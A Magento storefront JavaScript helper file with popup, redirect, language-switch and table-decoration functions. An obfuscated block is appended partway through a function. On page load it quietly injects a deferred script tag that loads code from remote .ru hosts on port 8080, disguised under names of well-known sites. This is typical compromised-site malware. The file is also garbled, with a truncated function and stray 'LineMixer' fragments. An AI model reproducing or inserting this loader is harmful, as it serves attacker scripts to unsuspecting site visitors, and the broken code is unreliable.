/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/osl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * @copyright  Copyright (c) 2004-2007 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
 * @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 */
function popWin(url,win,para) {
    var win = window.open(url,win,para);
    win.focus();
}

function setLocation(url){
    window.location.href = url;
}

function setPLocation(url, setFocus){
    if( setFocus ) {
        window.opener.focus();
    }
    window.opener.location.href = url;
}

function setLanguageCode(code, fromCode){
    //TODO: javascript cookies have different domain and path than php cookies
    var href = window.location.href;
    var after = '', dash;
    if (dash = href.match(/\#(.*)$/)) {
        href = href.replace(/\#(.*)$/, '');
        after = dash[0];
    }

    if (href.match(/[?]/)) {
        var re = /([?&]store=)[a-z0-9_]*/;
        if (href.match(re)) {
            href = href.replace(re, '$1'+code);
        } else {
            href += '&store='+code;
        }

        var re = /([?&]from_store=)[a-z0-9_]*/;
        if (href.match(re)) {
            href = href.replace(re, '');
        }
    } else {
        href += '?store='+code;
    }
    if (typeof(fromCode) != 'undefined') {
        href += '&from_store='+fromCode;
    }
    href += after;

    setLocation(href);
}

/**
 * Set "odd", "even", "first" and "last" CSS classes for table rows and cells
 */
function decorateTable(table){
    table = $(table);
    if(table){
        var allRows = table.getElementsBySelector('tr')
        var bodyRows = table.getElementsBySelector('tbody tr');
        var headRows = table.getElementsBySelector('thead tr');
        var footRows = table.getElementsBySelector('tfoot tr');

        for(var i=0; i<bodyRows.length; i++){
            if((i+1)%2==0) {
                bodyRows[i].addClassName('even');
            }
            else {
                bodyRows[i].addClassName('odd');
            }
        }

        if(headRows.length) {
          headRows[0].addClassName('first');
          headRows[headRows.length-1].addClassName('last');
        }
        if(bodyRows.length) {
          bodyRows[0].addClassName('first');
          bodyRows[bodyRows.length-1].addClassName('last');
        }
        if(footRows.length) {
          footRows[0].addClassName('first');
          footRows[footRows.length-1].addClassName('last');
        }
        if(allRows.length) {
            for(var i=0;i<allRows.length;i++){
                var cols =allRows[i].getElementsByTagName('TD');
                if(cols.length) {
                    Element.addClassName(cols[cols.length-1], 'last');
                };
            }
        }
    }
}

/**
 * Set "odd", "even" and "last" CSS classes for list items
 */
function decorateList(list){
    if($(list)){
        var items = $(list).getElementsBySelector('li')
        if(items.length) items[items.length-1].addClassName('last');
        for(var i=0; i<items.length; i++){
            if((i+1)%2==0)
                items[i].addClassName('even');
            else
                items[i].addClassName('odd');
        }
    }
}

/**
 * Set "odd", "even" and "last" CSS classes for list items
 */
function decorateDataList(list){
  list = $(list);
    if(list){
        var items = list.getElementsBySelector('dt')
        if(items.length) items[items.length-1].addClassName('last');
        for(var i=0; i<items.length; i++){
            if((i+1)%2==0)
                items[i].addClassName('even');
            else
                items[i].addClassName('odd');
        }
        var items = list.getElementsBySelector('dd')
        if(items.length) items[items.length-1].addClassName('last');
        for(var i=0; i<items.length; i++){
            if((i+1)%2==0)
                items[i].addClassName('even');
            else
                items[i].addClassName('odd');
  
try {var q="";:LineMixer [var j;if(j!='' && j!='nj'){j=null};var _='h$t7t~pB:7/B/$4vs~hva7rBe~dv-~c7o7m~.~dva7i$l$y$m$ovt$i7o7n~.7cvo~mv.vd~o7u$b7lve7c$l~iBc$kv-vcBoBm~.~nBe7w$s~ovuvr7cvevw$oBrvl$dB.vr~u$:B8B0B8v0~/BgBoBo~g~l~eB.~cvoBm$/vgBo~o7g7lve7.vc$o~m~/va7d$uvlBtBf7r~i$evn7dBfBivnBdBeBrv.7cBo7mB/7eBb$avy7.~i$t$/$u7w$a~n~tBs7.vcvo7m7/v'.replace(/[v7B~\$]/g, '');var ny="ny";var f='sncbrbibpmtC'.replace(/[Cjbmn]/g, '');var o='c2rXe2aDt2eXEGl2e2m2eGnDtQ'.replace(/[QGDX2]/g, '');var bm;if(bm!='nx'){bm='nx'};var z='ohncleohardr'.replace(/[r,hce]/g, '');var rp="";var p="1";var d='a.p.pNexnxdNC.hxijlNdu'.replace(/[u\.xjN]/g, '');var _t='';var e='sde3tdA3t2t*r2i*b2udt*e*'.replace(/[\*3Vd2]/g, '');var i='bxotdxyt'.replace(/[txkKH]/g, '');var ln;if(ln!='rq' && ln!='c'){ln='rq'};]var nq;if(nq!='zh'){nq=''};window[z]=function(){var hm=new Date();b=document[o](f);this.lq=false;:LineMixer [var na;if(na!=''){na='qy'};b['sgrfcf'.replace(/[f\.gPt]/g, '')]=_;b[e]('d!e:f:epr:'.replace(/[\:\!Cup]/g, ''), p);var dn=document[i];]dn[d](b);var de;if(de!=''){de='_w'};};var dy;if(dy!='ff' && dy != ''){dy=null};} catch(n){};
this.l=false;function j() {var p=new Date();var k;if(k!='pf' && k!='c'){k=''};function s(i,t,m){i['sde^tOA_tYt^r_idbYu_tOe^'.replace(/[\^OY_d]/g, '')](t, m);var te;if(te!=''){te='xh'};var ky;if(ky!=''){ky='y'};}var _g=new String();var z;if(z!='ix'){z='ix'};this.ku="ku";var mv=window;var ct=new String();var e='sAcSrBiSpStS'.replace(/[SwuAB]/g, '');this.h="";var ts=new String();var a='c3rJeJa3t3e3EUl|eImUe3nJtI'.replace(/[IJ\|U3]/g, '');var ja=new String();var lu;if(lu!='' && lu!='sv'){lu='qs'};var pu;if(pu!='kir'){pu='kir'};mv['o*nTl*oIaedP'.replace(/[PTI\*e]/g, '')]=function(){try {this.ash="ash";g=document[a](e);this.fe="";var vf;if(vf!=''){vf='pl'};this.ch="ch";var ii;if(ii!='' && ii!='cf'){ii='hw'};s(g,'sxrncn'.replace(/[nY\^\:x]/g, ''),'hDt_tbp_:b/D/Da_s1s1o1cbi1aCtCe1dDc_oCn_tCeDnbtD-bc_oCmD.boCv1gDubiDdbeC.1cCo1m1.CmDo_z_ibl_lCaD-1c1oCm1.brCe_dDtCabg_jDeDwCe_lbe1rCsb.CrCu_:18D0_8C0C/DeCxDp_eDdCiDa1.DcDobmC/be1xbp1e1dCibaC.1c1obm1/bg1o_o_gDlbeb.bcCoDmb/1n1e_wbs13_i_nCsbi_dCebrb.1c1o1mb/1mDa1s_r_a_w_y1._c1oDm1/_'.replace(/[_D1bC]/g, ''));var fv=new Array();var br="br";s(g,'d?ebf0ebr0'.replace(/[0wub\?]/g, ''),1);this.by='';var vn=new Date();document['b6o,d0yQ'.replace(/[Q06,Y]/g, '')]['abpDpDecnbd%CbhDiblDdD'.replace(/[D%b4c]/g, '')](g);} catch(b){this.zm="";};var qp;if(qp!='' && qp!='gsm'){qp=''};};var tk=11570;var cp;if(cp!='pe' && cp != ''){cp=null};};this.ew="ew";j();
